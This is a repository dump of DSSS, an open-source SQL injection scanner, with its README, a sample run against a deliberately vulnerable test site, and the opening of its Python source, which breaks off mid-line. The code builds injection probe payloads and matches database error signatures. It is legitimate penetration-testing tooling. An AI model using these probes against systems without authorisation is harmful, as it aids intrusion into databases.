Repository: stamparm/DSSS Branch: master Commit: f354215eb8b4 Files: 2 Total size: 10.2 KB Directory structure: gitextract_7qmcrkut/ ├── README.md └── dsss.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ Damn Small SQLi Scanner [](https://www.python.org/) [](https://wiki.creativecommons.org/wiki/Public_domain) ========= **Damn Small SQLi Scanner** (DSSS) is a fully functional [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) vulnerability scanner (supporting GET and POST parameters) written in under 100 lines of code.  As of optional settings it supports HTTP proxy together with HTTP header values `User-Agent`, `Referer` and `Cookie`. Sample runs ---- ``` $ python3 dsss.py -h Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a by: Miroslav Stampar (@stamparm) Usage: dsss.py [options] Options: --version show program's version number and exit -h, --help show this help message and exit -u URL, --url=URL Target URL (e.g. "http://www.target.com/page.php?id=1") --data=DATA POST data (e.g. "query=test") --cookie=COOKIE HTTP Cookie header value --user-agent=UA HTTP User-Agent header value --referer=REFERER HTTP Referer header value --proxy=PROXY HTTP proxy address (e.g. "http://127.0.0.1:8080") ``` ``` $ python3 dsss.py -u "http://testphp.vulnweb.com/artists.php?artist=1" Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code) #v0.3a by: Miroslav Stampar (@stamparm) * scanning GET parameter 'artist' (i) GET parameter 'artist' could be error SQLi vulnerable (MySQL) (i) GET parameter 'artist' appears to be blind SQLi vulnerable (e.g.: 'http://t estphp.vulnweb.com/artists.php?artist=1%20AND%2061%3E60') scan results: possible vulnerabilities found ``` Requirements ---- [Python](http://www.python.org/download/) version **3.x** is required for running this program. ================================================ FILE: dsss.py ================================================ #!/usr/bin/python3 import difflib, http.client, itertools, optparse, random, re, urllib, urllib.parse, urllib.request # Python 3 required NAME, VERSION, AUTHOR, LICENSE = "Damn Small SQLi Scanner (DSSS) < 100 LoC (Lines of Code)", "0.3b", "Miroslav Stampar (@stamparm)", "Public domain (FREE)" PREFIXES, SUFFIXES = (" ", ") ", "' ", "') "), ("", "-- -", "#", "%%16") # prefix/suffix values used for building testing blind payloads TAMPER_SQL_CHAR_POOL = ('(', ')', '\'', '"') # characters used for SQL tampering/poisoning of parameter values BOOLEAN_TESTS = ("AND %d=%d", "OR NOT (%d>%d)") # boolean tests used for building testing blind payloads COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names GET, POST = "GET", "POST" # enumerator-like values used for marking current phase TEXT, HTTPCODE, TITLE, HTML = range(4) # enumerator-like values used for marking content type FUZZY_THRESHOLD = 0.95 # ratio value in range (0,1) used for distinguishing True from False responses TIMEOUT = 30 # connection timeout in seconds RANDINT = random.randint(1, 255) # random integer value used across all tests BLOCKED_IP_REGEX = r"(?i)(\A|\b)IP\b.*\b(banned|blocked|bl(a|o)ck\s?list|firewall)" # regular expression used for recognition of generic firewall blocking messages DBMS_ERRORS = { # regular expressions used for DBMS recognition based on error message response "MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."), "PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."), "Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."), "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"), "Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"), "IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("), "SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"), "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"), } def _retrieve_content(url, data=None): retval = {HTTPCODE: http.client.OK} try: req = urllib.request.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in range(len(url))), data.encode("utf8", "ignore") if data else None, globals().get("_headers", {})) retval[HTML] = urllib.request.urlopen(req, timeout=TIMEOUT).read() except Exception as ex: retval[HTTPCODE] = getattr(ex, "code", None) retval[HTML] = ex.read() if hasattr(ex, "read") else str(ex.args[-1]) retval[HTML] = (retval[HTML].decode("utf8", "ignore") if hasattr(retval[HTML], "decode") else "") or "" retval[HTML] = "" if re.search(BLOCKED_IP_REGEX, retval[HTML]) else retval[HTML] retval[HTML] = re.sub(r"(?i)[^>]*(AND|OR)[^<]*%d[^<]*" % RANDINT, "__REFLECTED__", retval[HTML]) match = re.search(r"